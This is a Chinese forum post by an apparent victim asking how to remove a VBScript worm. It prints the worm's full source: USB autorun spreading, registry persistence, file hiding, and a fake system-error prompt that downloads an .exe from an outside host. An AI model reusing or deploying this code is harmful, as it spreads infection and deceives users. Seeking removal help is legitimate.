我有参考“暴风一号”的查杀方法，但都没起作用，很郁闷了。
以下是msconfig.vbs的代码，我是在Dos里提取的，看看你们有没有办法帮我解决这问题，谢谢了。
on error resume next
n1="scr":n2="I":n3="ptinG.fIl":n4=chr(101):n5="sySte":n6="m":n7="objEc":n8=chr(8
4)
Set a=CreateObject(n1 + n2 & n3 & n4 & n5 & n6 & n7 & n8):Set yy=CreateObject("w
script.shell")
Set kk=a.getfile(WScript.ScriptFullName)
if kk<> "C:\WINDOWS\system32\msconfig.vbs" then:yy.Run Mid(kk,1,2) & "\":end if
If a.FileExists("D:\111.txt") Then
else
If a.FileExists("D:\222.txt") Then
yy.RegDelete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ms
config"
Set k=a.drives
For Each x In k
If x.DriveType=2 Then
Set aa=a.GetFile(x & "\autorun.inf"):aa.Attributes=0:Set bb=a.GetFile(x & "\Disk
Protect.vbs"):bb.Attributes=0
a.DeleteFile(x & "\autorun.inf"):a.deleteFile(x & "\DiskProtect.vbs")
End If
Next
Set ccc=a.GetFile("C:\WINDOWS\system32\msconfig.vbs"):ccc.Attributes=0:Set zzz=a
.GetFile("C:\WINDOWS\system32\regedit.exe"):zzz.Attributes=0
a.DeleteFile("C:\WINDOWS\system32\msconfig.vbs"):a.deleteFile("C:\WINDOWS\system
32\regedit.exe")
Else
Set c=a.GetFile(WScript.ScriptFullName)
if c<> "C:\WINDOWS\system32\msconfig.vbs" then
c.Attributes=6
Set b=a.Drives
For Each d In b
If d.DriveType=1 or d.DriveType=2 Then
If a.FileExists(d & "\DiskProtect.vbs") Then
else
a.CopyFile c,d & "\DiskProtect.vbs",TRUE
Set e=a.CreateTextFile(d & "\autorun.inf",2,true)
e.WriteLine "[autorun]":e.WriteLine "open=":e.WriteLine "shell\open=打开(&O)":e.
WriteLine "shell\open\Command=WScript.exe DiskProtect.vbs":e.WriteLine "shell\op
en\Default=1":e.WriteLine "shell\explore=资源管理器(&X)":e.WriteLine "shell\expl
ore\Command=WScript.exe DiskProtect.vbs"
e.close
set o=a.getfile(d & "\autorun.inf")
If Not o.Attributes And 1 Then:o.Attributes=o.Attributes Xor 1:End If:If Not o.A
ttributes And 2 Then:o.Attributes=o.Attributes Xor 2:End if:If Not o.Attributes
And 4 Then:o.Attributes=o.Attributes Xor 4:End If
End If
end if
next
If a.FileExists("C:\WINDOWS\system32\regedit.exe") Then
else
a.CopyFile c,"C:\WINDOWS\system32\msconfig.vbs",TRUE
set bab=a.createtextfile("C:\WINDOWS\system32\regedit.exe"):bab.write date:bab.c
lose
set aba=a.getfile("C:\WINDOWS\system32\regedit.exe"):If Not aba.Attributes And 1
Then:aba.Attributes=aba.Attributes Xor 1:End If:If Not aba.Attributes And 2 The
n:aba.Attributes=aba.Attributes Xor 2:End if:If Not aba.Attributes And 4 Then:ab
a.Attributes=aba.Attributes Xor 4:End If
Set oo=a.getFile("C:\WINDOWS\system32\msconfig.vbs"):oo.Attributes=6
end if
End If
end if
chk=yy.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\
msconfig")
if chk="C:\WINDOWS\system32\msconfig.vbs" then
else
yy.regWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\msc
onfig", "C:\WINDOWS\system32\msconfig.vbs", "REG_SZ"
end if
Set objWMIService1 = GetObject("winmgmts:\\" & "." & "\root\cimv2")
Set colFileLista = objWMIService1.ExecQuery("ASSOCIATORS OF {Win32_Directory.Nam
e='C:\Program Files\Super Rabbit\MagicSet'} Where " & "ResultClass = CIM_DataFil
e")
For Each objFilea In colFileLista
If InStr(objFileb.FileName, "sriecli") Or InStr(objFileb.FileName, "iepro") Or I
nStr(objFileb.FileName, "gdiplus") Then:objFileb.Delete:End If
Next
Set colFileListb=objWMIService1.ExecQuery("ASSOCIATORS OF {Win32_Directory.Name=
'D:\Program Files\Super Rabbit\MagicSet'} Where " & "ResultClass = CIM_DataFile"
)
For Each objFileb In colFileListb
If InStr(objFileb.FileName, "sriecli") Or InStr(objFileb.FileName, "iepro") Or I
nStr(objFileb.FileName, "gdiplus") Then:objFileb.Delete:End If
Next
If a.FileExists("C:\McAfee\Rogue System Sensor\RSSensor.exe") Then
Wscript.Quit
else
set ded=a.opentextfile("C:\WINDOWS\system32\regedit.exe",1):ede=ded.readall:ded.
close
If Day(Date) Mod 2=0 and date-cdate(ede)>60 Then
WScript.Sleep rnd()*500000+50000
For i=1 To 5
Set ieA=CreateObject("InternetExplorer.Application")
ieA.Visible=false
Randomize
WScript.Sleep rnd()*130000+1000
If vbMsgBoxHelpButton=MsgBox("Windows发生错误-系统冲突，请下载更新补丁以修正此问
题。" & Chr(13) & Chr(13) & "请确定电脑己经联上网络，并按“是”自动下载此补丁程
序。", vbExclamation + vbMsgBoxHelpButton, "系统信息", "Help.hlp",1) Then
ieA.navigate "http://windowshelp.microsoft.com/Windows/zh-cn/default.mspx"
else
ieA.navigate "http://admincity.tom.com/skypetools/download/skype/0092/SkypeClien
t.exe"
End If
Next
strComputer=".":Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel
=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2"):Set colOperatingSyst
ems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem")
For Each objOperatingSystem in colOperatingSystems:if vbok=MsgBox("系统出现问题
，需要重启。请保存相关文件，并选择“确定”立即重启计算机。", vbCritical + vbOKCa
ncel, "系统提示") Then:ObjOperatingSystem.Reboot():else:yy.run "C:\WINDOWS\syste
m32\winhelp.hlp":end if:Next
End If
End If
End If
'/***简单事件***/
）
）
）
）
